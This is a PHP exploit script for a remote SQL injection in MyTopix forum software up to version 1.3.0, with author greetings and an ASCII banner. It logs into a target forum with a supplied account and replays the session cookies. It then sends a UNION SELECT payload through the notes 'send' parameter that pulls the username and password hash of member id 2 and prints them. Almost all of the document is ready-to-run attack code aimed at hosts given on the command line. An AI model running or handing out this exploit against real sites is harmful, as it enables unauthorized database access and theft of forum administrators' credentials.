<?php

/**
*
* MyTopix <= 1.3.0 (notes send) Remote SQL Injection Exploit
* Bug discovered & exploited by cOndemned
* 
* Desc :
*  In order to exploit this vulnerability user have to
*  be logged on the forum, so I'd decided to write this
*  exploit x]
*
* Greetz : 
*  Ex. fobidd3n t3am - Sw33t, Kr0licz3k & KraFT, irk4z,
*  ZaBeaTy, Necro, str0ke, suN8Hclf, 0in, m4r1usz, TBH, 
*  Av...
*
*
*  "What is left to die for? What is left to give..."
*/


class MyTopixSploit
{
  private $socket;
  private $evil;
  private $inj;
  private $host;
  private $path;
  private $login;
  private $password;
  private $csid;
  private $cpass;

  public function __construct()
  {
    $this -> evil  = '';
    $this -> socket  = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    $this -> inj  = '-1+UNION+SELECT+concat(members_name,0x3a,members_pass)+FROM+my_members+WHERE+members_id=2--';
  }

  private function send($packet)
  {
    if(!$this -> socket) $this -> socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

    socket_connect($this -> socket, gethostbyname($this -> host), 80) or die("[-] Couldn't connect with specified host\r\n");
    socket_write($this -> socket, $packet, strlen($packet)) or die("[-] Couldn't send requrested packet\r\n");

    while($resp = socket_read($this -> socket, 2048)) $output .= $resp;

    socket_shutdown($this -> socket, 2);
    socket_close($this -> socket);
    unset($this -> socket);

    return $output;  
  }

  public function target($host, $path)
  {
    $this -> host = (substr($host, 0, 7) === 'http://') ? substr($host, 7) : $host;
    $this -> path = (substr($path, -1) === '/') ? substr($path, 0, -1) : $path;
  }

  public function usage()
  {
    return "[~] Usage : php mytopix130-sql.php <target_host> <path> <username> <user-pass>\r\n\r\n";
  }

  public function login($login, $password)
  {
    $post = "username=$login&password=$password&hash=5aaaea2d9cd5b549a857e02190cb4542";
    $this -> evil = 
      "POST {$this -> path}/index.php?a=logon&CODE=01 HTTP/1.1\r\n" .
      "Host: {$this -> host}\r\n" .
      "Referer: http://{$this -> host}{$this -> path}\r\n" . 
      "User-Agent: Opera/9.62 (X11; Linux i686; U; pl) Presto/2.1.1\r\n" .
      "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*#/*;q=0.8\r\n" .
      "Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n" .
      "Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7\r\n" .
      "Connection: Close\r\n" . 
      "Content-Type: application/x-www-form-urlencoded\r\n" .
      "Content-length: " . strlen($post) . "\r\n\r\n$post";

    return $this -> send($this -> evil);
  }

  public function inject($cid, $cpass)
  {
    $this -> evil =
      "GET {$this->path}/index.php?a=notes&CODE=07&send=$this->inj HTTP/1.1\r\n" . 
      "Host: {$this->host}\r\n" . 
      "Referer: http://{$this->host}{$this->path}/\r\n" . 
      "User-Agent: Opera/9.62 (X11; Linux i686; U; pl) Presto/2.1.1\r\n" .
      "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" . 
      "Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n" . 
      "Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7\r\n" . 
      "Cookie: my_id={$cid}; my_pass={$cpass}\r\n" . 
      "Connection: close\r\n\r\n";

    return $this -> send($this -> evil);
  }
}; 


$xpl = new MyTopixSploit();

echo <<< HEADER

+--------------------------------------------------------------------------+
|                                                                          |
|        MyTopix <= 1.3.0 (notes send) Remote SQL Injection Exploit        |
|        ==========================================================        |
|        Author ......................................... cOndemned        |
|        Contact ...................... digital_future[at]p2[dot]pl        |
|        Conditions ......................... Need account on forum        |
|                                                                          |
+--------------------------------------------------------------------------+


HEADER;

if($argc != 5) 
  echo $xpl -> usage();
else 
{
  list($script, $host, $path, $login, $password) = $argv;
  
  $xpl -> target($host, $path);
  $head = $xpl -> login($login, $password);
  
  printf("[~] Trying to login with nick: %s, and password: %s...\r\n", $login, $password);

  $cookie['USERID'] = preg_match_all('!id=([0-9]+);!is', $head, $tmp) ? $tmp[1][0] : die("[-] Couldn't retrive user id\r\n");
  $cookie['PASSWD'] = preg_match_all('!pass=([a-f0-9]{32});!is', $head, $tmp) ? $tmp[1][0] : die("[-] Couldn't retrive user password\r\n");
  
  $src = $xpl -> inject($cookie['USERID'], $cookie['PASSWD']);
  
  printf("[~] Sending packet ...\r\n");

  $resp = preg_match_all("!value='([a-z0-9]+?):([a-f0-9]+?)'!is", $src, $out) 
    ? "[+] Login: {$out[1][0]}\r\n[+] Pass: {$out[2][0]}" : "[-] Exploitation failed";

  printf("[~] Done...\r\n%s \r\n\r\n", $resp);
}

?>